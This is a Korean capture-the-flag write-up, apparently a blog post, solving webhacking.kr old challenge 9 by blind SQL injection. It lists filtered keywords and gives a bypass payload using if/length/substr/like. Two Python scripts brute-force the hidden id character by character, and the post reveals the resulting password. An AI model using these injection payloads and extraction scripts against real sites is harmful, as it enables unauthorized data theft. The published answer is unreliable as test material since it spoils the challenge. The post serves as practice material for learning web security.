[webhacking.kr-old] 9번
주소 : https://webhacking.kr/old.php
Webhacking.kr
webhacking.kr
[ 풀이 ]
오오 이번 문제는 배경색이 화이트이다!!
1번을 누를 때는 Apple, 2번을 누르면 Banana, 3번을 누르면 아래와 같이 페이지가 이동한다.
음,,, 느낌이 3번이 참 수상하게 느껴진다 ㅇㅁㅇ
no = 3에 해당하는 id가 비밀번호라고 적혀있기 때문이다!!
blind sql injection 문제로 예상되어 아래와 같이 시도해보았다.
일단, 'or 1=1# 쿼리를 입력해서 실행결과를 확인해보니, 아래와 같이 권한이 없다고 출력된다.
어떤 것을 필터링하는지 보기 위해, 다양한 시도를 한 결과 필터링 조건을 알 수 있었다.
'(작은 따옴표), "(큰따옴표), %27, %20, and, or, ||, =, ord, ascii, hex등을 필터링하고 있으며,
#, &&, ( ), like,substr 등이 가능한 것을 확인할 수 있다.
위 필터링을 바탕으로, 아래와 같이 실행해보았다.
해당 if문은 1이 true를 의미하며, 참이면 no=2에 해당되는 페이지로, 거짓이면 no=3페이지로 이동하게 설정한 조건문이다.
1. id 길이 구하기
if(length(id)like(11),3,0) |
위 쿼리에서 0은 아무것도 해당되지 않는 것으로, password의 입력창만 출력되는 페이지를 보여준다.
따라서, 쿼리문이 겹치지 않기 위해, false일 경우에는 no=0인 페이지로 넘어가게 설정한 것이다.
소스코드를 작성하여 확인해보았다.
import requests
c = {"cookie":"'PHPSESSID'='자신의 세션'"}
for i in range(0,50):
query = "if(length(id)like({}),3,0)".format(i)
print(query)
url = 'https://webhacking.kr/challenge/web-09/index.php?no={}'.format(query)
res = requests.get(url, cookies=c)
if res.text.find("Secret") != -1:
print("id 길이 : {}".format(i))
break
위와 같이, 길이가 11인 것을 확인할 수 있다.
2. id 값 확인하기
해당 페이지에서 ord, ascii, hex함수를 필터링하고 있으므로, 아래와 같이 hex값으로 바꿔서 쿼리문에 대입하는 형식으로 코드를 작성하였다. 이는 아래와 같다.
import requests
c = {"cookie":"'PHPSESSID'='자신의 세션'"}
stop=0
str=''
for i in range(1,12):
if stop == 1:
break
for j in range(97,133):
h = hex(j)
query = "if(substr(id,{},1)like({}),3,0)".format(i,h)
url = 'https://webhacking.kr/challenge/web-09/index.php?no={}'.format(query)
res = requests.get(url, cookies=c)
if res.text.find("Secret") != -1:
str += chr(j) print("{} : {}".format(i,str))
break
if j == 133:
stop = 1
break
print("password : {}".format(str))
패스워드가 alsrkswhaql이라는 것을 알 수 있다.
위에서 구한 패스워드를 입력창에 입력해보자.
문제 클리어~~